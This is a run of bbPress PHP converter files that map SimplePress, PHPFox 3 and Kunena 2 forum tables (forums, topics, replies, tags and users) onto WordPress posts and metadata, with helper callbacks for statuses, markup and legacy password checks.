			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'guest_name',
			'join_tablename'  => 'sftopics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE sfposts.post_index = 1',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic content.
		// Note: We join the sfposts table because sftopics do not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_content',
			'join_tablename'  => 'sftopics',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (topic_id) WHERE sfposts.post_index = 1',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'sftopics',
			'from_fieldname' => 'topic_name',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_name',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_pinned',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sftopics',
			'from_fieldname'  => 'topic_date',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time'
		);

		/** Tags Section ******************************************************/

		/**
		 * SimplePress Forums do not support topic tags without paid extensions
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfposts',
			'from_fieldname' => 'post_id',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'forum_id',
			'from_expression' => 'WHERE post_index != 1',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'sfposts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'guest_name',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_content',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'sfposts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'ID',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_pass',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_password'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_login',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_nicename',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_registered',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_registered'
		);

		// User status.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_status',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_status'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together. That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		return false;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		return false;
	}

	/**
	 * Translate the post status from Simple:Press v5.x numerics to WordPress's strings.
	 *
	 * @param int $status Simple:Press numeric status
	 * @return string WordPress safe
	 */
	public function callback_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from Simple:Press v5.x numerics to WordPress's strings.
	 *
	 * @param int $status Simple:Press v5.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // Simple:Press Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // Simple:Press Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count Simple:Press v5.x reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom HTML code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strip any custom HTML not supported by parser.php first from $field before parsing $field to parser.php
		$simplepress_markup = $field;
		$simplepress_markup = html_entity_decode( $simplepress_markup );

		// Replace any SimplePress smilies from path '/sp-resources/forum-smileys/sf-smily.gif' with the equivelant WordPress Smilie
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-confused\.gif(.*?)\" \/>/',     ':?' ,     $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-cool\.gif(.*?)\" \/>/',        ':cool:',   $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-cry\.gif(.*?)\" \/>/',         ':cry:',    $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-embarassed\.gif(.*?)\" \/>/' , ':oops:',   $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-frown\.gif(.*?)\" \/>/',       ':(',       $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-kiss\.gif(.*?)\" \/>/',        ':P',       $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-laugh\.gif(.*?)\" \/>/',       ':D',       $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-smile\.gif(.*?)\" \/>/',       ':smile:',  $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-surprised\.gif(.*?)\" \/>/',   ':o',       $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-wink\.gif(.*?)\" \/>/',        ':wink:',   $simplepress_markup );
		$simplepress_markup = preg_replace( '/\<img src=(.*?)\/sp-resources\/forum-smileys\/sf-yell\.gif(.*?)\" \/>/',         ':x',      $simplepress_markup );

		// Replace '<div class="sfcode">example code</div>' with '<code>*</code>'
		$simplepress_markup = preg_replace( '/\<div class\=\"sfcode\"\>(.*?)\<\/div\>/' , '<code>$1</code>' , $simplepress_markup );

		// Replace '<strong>username said </strong>' with '@username said:'
		$simplepress_markup = preg_replace( '/\<strong\>(.*?)\ said\ \<\/strong\>/',     '@$1 said:',        $simplepress_markup );

		// Replace '<p>&nbsp;</p>' with '<p>&nbsp;</p>'
		$simplepress_markup = preg_replace( '/\n(&nbsp;|[\s\p{Z}\xA0\x{00A0}]+)\r/', '<br>', $simplepress_markup );

		// Now that SimplePress' custom HTML codes have been stripped put the cleaned HTML back in $field
		$field = $simplepress_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/PHPFox3.php000066600000042052151771460310013550 0ustar00<?php

/**
 * bbPress PHPFox3 Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of PHPFox v3.x Forum converter.
 *
 * @since 2.5.0 bbPress (r5146)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/phpfox
 */
class PHPFox3 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'total_thread',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'total_post',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'total_thread',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'total_post',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'name_url',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'ordering',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Forum = 0 or Category = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'is_category',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (0=Open or 1=Closed, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'is_closed',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_thread',
			'from_fieldname' => 'thread_id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'total_post',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'total_post',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic content.
		// Note: We join the 'forum_post_text' table because 'forum_thread' table does not include content.
		// Note: We can use 'text' for original text OR 'text_parsed' for pre-parsed text output
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post_text',
			'from_fieldname'  => 'text_parsed',
			'join_tablename'  => 'forum_thread',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON forum_thread.start_id = forum_post_text.post_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'forum_thread',
			'from_fieldname' => 'title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'title_url',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Open or Closed, PHPFox v3.5.x 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'is_closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'order_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'time_update',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'time_update',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'time_update',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'item_id',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tag_id',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tag_text',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tag_url',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'post_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_thread',
			'from_fieldname'  => 'forum_id',
			'join_tablename'  => 'forum_post',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (thread_id)',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		// Note: We join the 'forum_post_text' table because 'forum_post' table does not include content.
		// Note: We can use 'text' for original text OR 'text_parsed' for pre-parsed text output
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post_text',
			'from_fieldname'  => 'text_parsed',
			'join_tablename'  => 'forum_post',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON forum_post_text.post_id = forum_post.post_id WHERE forum_thread.start_id != forum_post.post_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_post',
			'from_fieldname'  => 'time_stamp',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'password_salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'PHPFox3'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'joined',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'full_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from PHPFox v3.5.x numerics to WordPress's strings.
	 *
	 * @param int $status PHPFox v3.5.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'category';
				break;

			case 0  :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the forum status from PHPFox v3.5.x numerics to WordPress's strings.
	 *
	 * @param int $status PHPFox v3.5.x numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from PHPFox v3.5.x numerics to WordPress's strings.
	 *
	 * @param int $status PHPFox v3.5.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from PHPFox v3.5.x numerics to WordPress's strings.
	 *
	 * @param int $status PHPFox v3.5.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // PHPFox Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // PHPFox Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count PHPFox v3.5.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/Kunena2.php000066600000037510151771460310013667 0ustar00<?php

/**
 * bbPress Kunena 2.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Kunena v2.x Forums for Joomla Forum converter.
 *
 * @since 2.5.0 bbPress (r5144)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/kunena/
 */
class Kunena2 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numTopics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numPosts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'numTopics',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
